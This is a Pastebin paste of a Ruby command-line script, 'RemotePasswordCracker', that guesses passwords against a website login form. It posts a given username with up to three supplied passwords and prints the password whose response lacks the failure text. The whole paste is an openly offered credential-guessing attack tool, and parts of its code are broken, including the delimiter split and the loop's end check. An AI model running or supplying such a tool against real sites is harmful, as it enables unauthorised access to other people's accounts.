Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- require 'net/http'
- require 'optparse'
- class RemotePasswordCracker
- def parseCommandLineOptions()
- options = {}
- OptionParser.new do |opts|
- opts.banner = "Usage: frspck [options]"
- opts.on("-a PASSWORD, PASSWORD1, PASSWORD2", "--add PASSWORD, PASSWORD1, PASSWORD2", Array, "add passwords to crack username") do |pass|
- if pass[0]
- options[:PASSWORD] = pass[0]
- if pass[1]
- options[:PASSWORD1] = pass[1]
- if pass[2]
- options[:PASSWORD2] = pass[2]
- end
- end
- end
- end
- opts.on("-u", "--user USERNAME", "username to crack...") do |username|
- options[:u] = username
- end
- opts.on("-l", "--link LINK", "link from the http website to crack...") do |link|
- options[:l] = link
- end
- opts.on("-p", "--parameters POSTPAREMETER", "post parameters") do |post|
- options[:p] = post
- end
- end.parse!
- return options
- end
- def checkHTTP(url)
- if !url.include?"http" and !url.include?"https"
- return false
- end
- return true
- end
- def cracker()
- options = parseCommandLineOptions()
- url = options[:l]
- if !checkHTTP(url)
- puts("Not a valid http link...\nShutting down...\n")
- return false
- end
- passwordArray = Array.new
- postArray = Array.new
- uri = URI(url)
- username = options[:u]
- passwordArray.push(options[:PASSWORD])
- passwordArray.push(options[:PASSWORD1])
- passwordArray.push(options[:PASSWORD2])
- postRequest = options[:p]
- delimiters = ["&", ":"].to_s
- postArray = postRequest.split(Regexp.union(delimiters))
- x = 0
- threadPost = Thread.new do loop do
- response = Net::HTTP.post_form(uri, {postArray[0] => username, postArray[1] => passwordArray[x], postArray[2] => "submit"})
- if response.body.include?postArray[3].to_s
- puts(passwordArray[x] + " failed.")
- else
- puts("Username:" + username)
- puts("Password: " + passwordArray[x])
- break
- end
- x += 1
- if passwordArray[x] == passwordArray[passwordArray.length]
- puts("Couldn't crack account...\n")
- break
- end
- end
- end
- threadPost.join()
- end
- end
- passwordCracker = RemotePasswordCracker.new
- passwordCracker.cracker()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement